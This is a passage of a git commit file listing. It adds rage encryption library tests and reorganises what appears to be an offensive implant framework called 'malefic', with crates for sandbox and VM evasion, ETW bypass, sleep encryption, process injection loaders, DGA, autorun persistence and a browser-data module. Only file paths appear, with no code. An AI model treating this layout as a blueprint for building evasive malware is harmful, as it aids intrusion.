100644 lib/rage/age/tests/testdata/fail_large_filekey_x25519.age create mode 100644 lib/rage/age/tests/testdata/fail_large_filekey_x25519_key.txt create mode 100644 lib/rage/age/tests/testdata/testkit/armor create mode 100644 lib/rage/age/tests/testdata/testkit/armor_crlf create mode 100644 lib/rage/age/tests/testdata/testkit/armor_empty_line_begin create mode 100644 lib/rage/age/tests/testdata/testkit/armor_empty_line_end create mode 100644 lib/rage/age/tests/testdata/testkit/armor_eol_between_padding create mode 100644 lib/rage/age/tests/testdata/testkit/armor_full_last_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_garbage_encoded create mode 100644 lib/rage/age/tests/testdata/testkit/armor_garbage_leading create mode 100644 lib/rage/age/tests/testdata/testkit/armor_garbage_trailing create mode 100644 lib/rage/age/tests/testdata/testkit/armor_header_crlf create mode 100644 lib/rage/age/tests/testdata/testkit/armor_headers create mode 100644 lib/rage/age/tests/testdata/testkit/armor_invalid_character_header create mode 100644 lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload create mode 100644 lib/rage/age/tests/testdata/testkit/armor_long_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_lowercase create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_end_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_eol create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_match create mode 100644 lib/rage/age/tests/testdata/testkit/armor_no_padding create mode 100644 lib/rage/age/tests/testdata/testkit/armor_not_canonical create mode 100644 lib/rage/age/tests/testdata/testkit/armor_pgp_checksum create mode 100644 lib/rage/age/tests/testdata/testkit/armor_short_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_begin create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_end create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_eol create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start create mode 100644 lib/rage/age/tests/testdata/testkit/armor_whitespace_outside create mode 100644 lib/rage/age/tests/testdata/testkit/armor_wrong_type create mode 100644 lib/rage/age/tests/testdata/testkit/header_crlf create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_bad create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_extra_space create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_garbage create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_missing create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_no_space create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_not_canonical create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_trailing_space create mode 100644 lib/rage/age/tests/testdata/testkit/hmac_truncated create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_bad_tag create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_double create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_extra_argument create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_long_file_key create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_no_match create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_not_canonical_body create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_not_canonical_salt create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_salt_long create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_salt_missing create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_salt_short create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_uppercase create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_hex create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_garbage create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_plus create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_zero_decimal create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_leading_zero_octal create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_missing create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_negative create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_overflow create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_trailing_garbage create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_wrong create mode 100644 lib/rage/age/tests/testdata/testkit/scrypt_work_factor_zero create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_bad_start create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_base64_padding create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_empty_argument create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_empty_body create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_empty_last_line create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_invalid_character create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_long_line create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_missing_body create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_missing_final_line create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_no_arguments create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_not_canonical create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_spurious_cr create mode 100644 lib/rage/age/tests/testdata/testkit/stanza_valid_characters create mode 100644 lib/rage/age/tests/testdata/testkit/stream_bad_tag create mode 100644 lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk create mode 100644 lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_empty_payload create mode 100644 lib/rage/age/tests/testdata/testkit/stream_last_chunk_empty create mode 100644 lib/rage/age/tests/testdata/testkit/stream_last_chunk_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_last_chunk_full_second create mode 100644 lib/rage/age/tests/testdata/testkit/stream_missing_tag create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks_full create mode 100644 lib/rage/age/tests/testdata/testkit/stream_no_nonce create mode 100644 lib/rage/age/tests/testdata/testkit/stream_short_chunk create mode 100644 lib/rage/age/tests/testdata/testkit/stream_short_nonce create mode 100644 lib/rage/age/tests/testdata/testkit/stream_short_second_chunk create mode 100644 lib/rage/age/tests/testdata/testkit/stream_three_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_long create mode 100644 lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_short create mode 100644 lib/rage/age/tests/testdata/testkit/stream_two_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/stream_two_final_chunks create mode 100644 lib/rage/age/tests/testdata/testkit/version_unsupported create mode 100644 lib/rage/age/tests/testdata/testkit/x25519 create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_bad_tag create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_extra_argument create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_grease create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_identity create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_long_file_key create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_long_share create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_low_order create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_lowercase create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_no_match create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share create mode 100644 lib/rage/age/tests/testdata/testkit/x25519_short_share create mode 100644 lib/rage/age/tests/testkit.rs create mode 100644 lib/rage/docs/CONTRIBUTING.md create mode 100644 lib/rage/docs/debian.md create mode 100644 lib/rage/fuzz-afl/.gitignore create mode 100644 lib/rage/fuzz-afl/Cargo.lock create mode 100644 lib/rage/fuzz-afl/Cargo.toml create mode 100644 lib/rage/fuzz-afl/src/main.rs create mode 100644 lib/rage/fuzz/.gitignore create mode 100644 lib/rage/fuzz/Cargo.lock create mode 100644 lib/rage/fuzz/Cargo.toml create mode 100644 lib/rage/fuzz/fuzz_targets/age_stanza.rs create mode 100644 lib/rage/fuzz/fuzz_targets/decrypt.rs create mode 100644 lib/rage/fuzz/fuzz_targets/decrypt_buffered.rs create mode 100644 lib/rage/fuzz/fuzz_targets/header.rs create mode 100644 lib/rage/rage/CHANGELOG.md create mode 100644 lib/rage/rage/Cargo.toml create mode 100644 lib/rage/rage/build.rs create mode 100644 lib/rage/rage/i18n.toml create mode 100644 lib/rage/rage/i18n/en-US/rage.ftl create mode 100644 lib/rage/rage/i18n/es-AR/rage.ftl create mode 100644 lib/rage/rage/i18n/fr/rage.ftl create mode 100644 lib/rage/rage/i18n/it/rage.ftl create mode 100644 lib/rage/rage/i18n/ru/rage.ftl create mode 100644 lib/rage/rage/i18n/zh-CN/rage.ftl create mode 100644 lib/rage/rage/i18n/zh-TW/rage.ftl create mode 100644 lib/rage/rage/src/bin/rage-keygen/cli.rs create mode 100644 lib/rage/rage/src/bin/rage-keygen/error.rs create mode 100644 lib/rage/rage/src/bin/rage-keygen/main.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/cli.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/main.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/tar.rs create mode 100644 lib/rage/rage/src/bin/rage-mount/zip.rs create mode 100644 lib/rage/rage/src/bin/rage/cli.rs create mode 100644 lib/rage/rage/src/bin/rage/error.rs create mode 100644 lib/rage/rage/src/bin/rage/i18n.rs create mode 100644 lib/rage/rage/src/bin/rage/main.rs create mode 100644 lib/rage/rage/tests/cli_tests.rs create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/help.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/help_it.toml create mode 100644 lib/rage/rage/tests/cmd/rage-keygen/version.toml create mode 100644 lib/rage/rage/tests/cmd/rage-mount/help.toml create mode 100644 lib/rage/rage/tests/cmd/rage-mount/help_it.toml create mode 100644 lib/rage/rage/tests/cmd/rage-mount/version.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.in/file.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-multiple-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-passphrase-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-recipient-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-recipients-file-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-long.toml create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.in/key.txt create mode 100644 lib/rage/rage/tests/cmd/rage/decrypt-stdin-stdout-short.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.in/key.age.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-encrypted-without-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-identity-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient-chars.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipient.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.in/recipients.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-invalid-recipients-file.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients-file.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-missing-recipients.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-mixed-identity-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipient-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-mixed-recipients-file-and-passphrase.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients-identities.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin-recipients.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-multiple-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-plugin-name-flag.toml create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.in/file.txt create mode 100644 lib/rage/rage/tests/cmd/rage/encrypt-recipients-file-stdin.toml create mode 100644 lib/rage/rage/tests/cmd/rage/help.toml create mode 100644 lib/rage/rage/tests/cmd/rage/help_it.toml create mode 100644 lib/rage/rage/tests/cmd/rage/identity-flag-ambiguous.toml create mode 100644 lib/rage/rage/tests/cmd/rage/mixed-encrypt-and-decrypt.toml rename malefic-mutant/src/tool/tiny_tools/mod.rs => lib/rage/rage/tests/cmd/rage/same-input-and-output.in/same.txt (100%) create mode 100644 lib/rage/rage/tests/cmd/rage/same-input-and-output.toml create mode 100644 lib/rage/rage/tests/cmd/rage/version.toml create mode 100644 lib/rage/rage/tests/unix/rage/encrypt-passphrase-without-file-argument.toml create mode 100644 lib/rage/rage/tests/windows/rage/encrypt-passphrase-without-file-argument.toml create mode 100644 lib/rage/supply-chain/audits.toml create mode 100644 lib/rage/supply-chain/config.toml create mode 100644 lib/rage/supply-chain/imports.lock create mode 100644 lib/rage/tap_migrations.json create mode 100644 malefic-3rd-template/.gitignore create mode 100644 malefic-3rd-template/Cargo.lock create mode 100644 malefic-3rd-template/Cargo.toml create mode 100644 malefic-3rd-template/README.md create mode 100644 malefic-3rd-template/malefic-3rd-c/Cargo.lock create mode 100644 malefic-3rd-template/malefic-3rd-c/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-c/README.md create mode 100644 malefic-3rd-template/malefic-3rd-c/build.rs create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/example/example.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/module.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/module.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c create mode 100644 malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h create mode 100644 malefic-3rd-template/malefic-3rd-c/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-ffi/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-ffi/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-go/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-go/README.md create mode 100644 malefic-3rd-template/malefic-3rd-go/build.rs create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/example/main.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.mod create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/go.sum create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/hackbrowser.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/hackbrowser/main.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/bridge.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.mod create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/go.sum create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.pb.go create mode 100644 malefic-3rd-template/malefic-3rd-go/src/go/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-go/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-nim/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-nim/README.md create mode 100644 malefic-3rd-template/malefic-3rd-nim/build.rs create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/example/example.nim create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.options create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_decode.h create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.c create mode 100644 malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_encode.h create mode 100644 malefic-3rd-template/malefic-3rd-rust/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-rust/README.md create mode 100644 malefic-3rd-template/malefic-3rd-rust/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-zig/Cargo.toml create mode 100644 malefic-3rd-template/malefic-3rd-zig/README.md create mode 100644 malefic-3rd-template/malefic-3rd-zig/build.rs create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/lib.rs create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/example/example.zig create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.options create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.pb.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_decode.h create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.c create mode 100644 malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h create mode 100644 malefic-3rd-template/src/lib.rs delete mode 100644 malefic-3rd/src/hook/mod.rs delete mode 100644 malefic-3rd/tests/test_hook.rs delete mode 100644 malefic-core/Cargo.toml delete mode 100644 malefic-core/src/collector/mod.rs delete mode 100644 malefic-core/src/common/error.rs delete mode 100644 malefic-core/src/common/mod.rs delete mode 100644 malefic-core/src/common/sys.rs delete mode 100644 malefic-core/src/config/config.rs delete mode 100644 malefic-core/src/config/mod.rs delete mode 100644 malefic-core/src/dga/generator.rs delete mode 100644 malefic-core/src/lib.rs delete mode 100644 malefic-core/src/manager/manager.rs delete mode 100644 malefic-core/src/transport/mod.rs delete mode 100644 malefic-core/src/transport/proxie/utils.rs delete mode 100644 malefic-core/src/transport/rem/mod.rs delete mode 100644 malefic-core/src/transport/server_manager.rs delete mode 100644 malefic-core/src/transport/tcp/tls.rs create mode 100644 malefic-crates/autorun/Cargo.toml create mode 100644 malefic-crates/autorun/README.md create mode 100644 malefic-crates/autorun/src/autorun.rs create mode 100644 malefic-crates/autorun/src/lib.rs create mode 100644 malefic-crates/codec/Cargo.toml create mode 100644 malefic-crates/codec/README.md create mode 100644 malefic-crates/codec/src/aes.rs create mode 100644 malefic-crates/codec/src/aes2.rs create mode 100644 malefic-crates/codec/src/base45.rs create mode 100644 malefic-crates/codec/src/base58.rs create mode 100644 malefic-crates/codec/src/base64.rs create mode 100644 malefic-crates/codec/src/chacha.rs create mode 100644 malefic-crates/codec/src/des.rs create mode 100644 malefic-crates/codec/src/ipv4.rs create mode 100644 malefic-crates/codec/src/lib.rs create mode 100644 malefic-crates/codec/src/mac.rs create mode 100644 malefic-crates/codec/src/rc4.rs create mode 100644 malefic-crates/codec/src/uuid.rs create mode 100644 malefic-crates/codec/src/xor.rs create mode 100644 malefic-crates/common/Cargo.toml create mode 100644 malefic-crates/common/README.md create mode 100644 malefic-crates/common/src/errors.rs create mode 100644 malefic-crates/common/src/getrandom_compat.rs create mode 100644 malefic-crates/common/src/lib.rs create mode 100644 malefic-crates/common/src/random.rs create mode 100644 malefic-crates/common/src/tinyserde.rs rename {malefic-helper/src/common => malefic-crates/common/src}/utils.rs (87%) create mode 100644 malefic-crates/config/Cargo.toml create mode 100644 malefic-crates/config/README.md create mode 100644 malefic-crates/config/src/config.rs create mode 100644 malefic-crates/config/src/lib.rs create mode 100644 malefic-crates/config/src/runtime.rs create mode 100644 malefic-crates/cron/Cargo.toml create mode 100644 malefic-crates/cron/README.md create mode 100644 malefic-crates/cron/src/lib.rs create mode 100644 malefic-crates/crypto/Cargo.toml create mode 100644 malefic-crates/crypto/README.md create mode 100644 malefic-crates/crypto/src/compress/mod.rs rename {malefic-proto => malefic-crates/crypto}/src/crypto/aes.rs (72%) create mode 100644 malefic-crates/crypto/src/crypto/age.rs rename {malefic-proto => malefic-crates/crypto}/src/crypto/chacha20.rs (61%) rename {malefic-proto => malefic-crates/crypto}/src/crypto/mod.rs (55%) rename {malefic-proto => malefic-crates/crypto}/src/crypto/xor.rs (55%) create mode 100644 malefic-crates/crypto/src/lib.rs create mode 100644 malefic-crates/dga/Cargo.toml create mode 100644 malefic-crates/dga/README.md rename {malefic-core/src/dga => malefic-crates/dga/src}/algorithm.rs (77%) create mode 100644 malefic-crates/dga/src/generator.rs rename malefic-core/src/dga/mod.rs => malefic-crates/dga/src/lib.rs (64%) create mode 100644 malefic-crates/evader/Cargo.toml create mode 100644 malefic-crates/evader/src/anti_emu.rs create mode 100644 malefic-crates/evader/src/anti_forensic.rs create mode 100644 malefic-crates/evader/src/api_untangle.rs create mode 100644 malefic-crates/evader/src/cfg_patch.rs create mode 100644 malefic-crates/evader/src/etw_pass.rs create mode 100644 malefic-crates/evader/src/god_speed.rs create mode 100644 malefic-crates/evader/src/lib.rs create mode 100644 malefic-crates/evader/src/normal_api.rs rename {malefic-helper/src/win/anti => malefic-crates/evader/src}/sandbox.rs (83%) create mode 100644 malefic-crates/evader/src/sleep_encrypt.rs create mode 100644 malefic-crates/evader/src/types.rs rename {malefic-helper/src/win/anti => malefic-crates/evader/src}/vm.rs (79%) create mode 100644 malefic-crates/features/Cargo.toml create mode 100644 malefic-crates/features/src/lib.rs create mode 100644 malefic-crates/gateway/Cargo.toml create mode 100644 malefic-crates/gateway/src/lib.rs create mode 100644 malefic-crates/gateway/src/runtime.rs create mode 100644 malefic-crates/gateway/src/traits.rs create mode 100644 malefic-crates/guardrail/Cargo.toml create mode 100644 malefic-crates/guardrail/README.md rename malefic/src/guardrail.rs => malefic-crates/guardrail/src/lib.rs (82%) create mode 100644 malefic-crates/loader/Cargo.toml create mode 100644 malefic-crates/loader/README.md create mode 100644 malefic-crates/loader/examples/test_inject.rs create mode 100644 malefic-crates/loader/src/hot_modules.rs create mode 100644 malefic-crates/loader/src/lib.rs rename {malefic-helper/src/linux/loader => malefic-crates/loader/src/linux}/memfd.rs (77%) rename {malefic-helper/src/linux/loader => malefic-crates/loader/src/linux}/mod.rs (86%) create mode 100644 malefic-crates/loader/src/linux/pthread.rs rename {malefic-helper/src/linux/loader => malefic-crates/loader/src/linux}/spawn.rs (60%) create mode 100644 malefic-crates/loader/src/memory.rs create mode 100644 malefic-crates/loader/src/win/apc/mod.rs rename {malefic-helper/src/win/loader => malefic-crates/loader/src/win}/fiber/mod.rs (85%) rename {malefic-helper/src/win/loader => malefic-crates/loader/src/win}/mod.rs (92%) rename {malefic-helper/src/win/loader => malefic-crates/loader/src/win}/thread/mod.rs (85%) create mode 100644 malefic-crates/macro/Cargo.toml create mode 100644 malefic-crates/macro/README.md create mode 100644 malefic-crates/macro/src/lazy_static_impl.rs create mode 100644 malefic-crates/macro/src/lib.rs create mode 100644 malefic-crates/macro/src/obf/lazy_static.rs create mode 100644 malefic-crates/macro/src/obf/mod.rs create mode 100644 malefic-crates/macro/src/obf/obf_debug.rs create mode 100644 malefic-crates/macro/src/obf/util.rs create mode 100644 malefic-crates/manager/Cargo.toml create mode 100644 malefic-crates/manager/README.md rename {malefic-core/src/manager => malefic-crates/manager/src}/addons.rs (50%) rename {malefic-core/src/manager => malefic-crates/manager/src}/internal.rs (69%) rename malefic-core/src/manager/mod.rs => malefic-crates/manager/src/lib.rs (100%) create mode 100644 malefic-crates/manager/src/manager.rs create mode 100644 malefic-crates/module/Cargo.toml create mode 100644 malefic-crates/module/README.md create mode 100644 malefic-crates/module/src/abi.rs create mode 100644 malefic-crates/module/src/codec.rs create mode 100644 malefic-crates/module/src/ffi.rs rename malefic-proto/src/module/mod.rs => malefic-crates/module/src/lib.rs (66%) rename {malefic-proto/src/module => malefic-crates/module/src}/macro.rs (99%) create mode 100644 malefic-crates/module/src/module_sdk.rs create mode 100644 malefic-crates/module/src/prelude.rs create mode 100644 malefic-crates/net/Cargo.toml create mode 100644 malefic-crates/net/README.md rename {malefic-helper/src/darwin/netstat => malefic-crates/net/src/darwin}/libproc_bindings.rs (100%) rename {malefic-helper/src/darwin/netstat => malefic-crates/net/src/darwin}/mod.rs (96%) rename {malefic-helper/src/darwin/netstat => malefic-crates/net/src/darwin}/socket.rs (71%) rename {malefic-helper/src/darwin/netstat => malefic-crates/net/src/darwin}/sysctl.rs (90%) create mode 100644 malefic-crates/net/src/lib.rs rename {malefic-helper/src/linux/netstat => 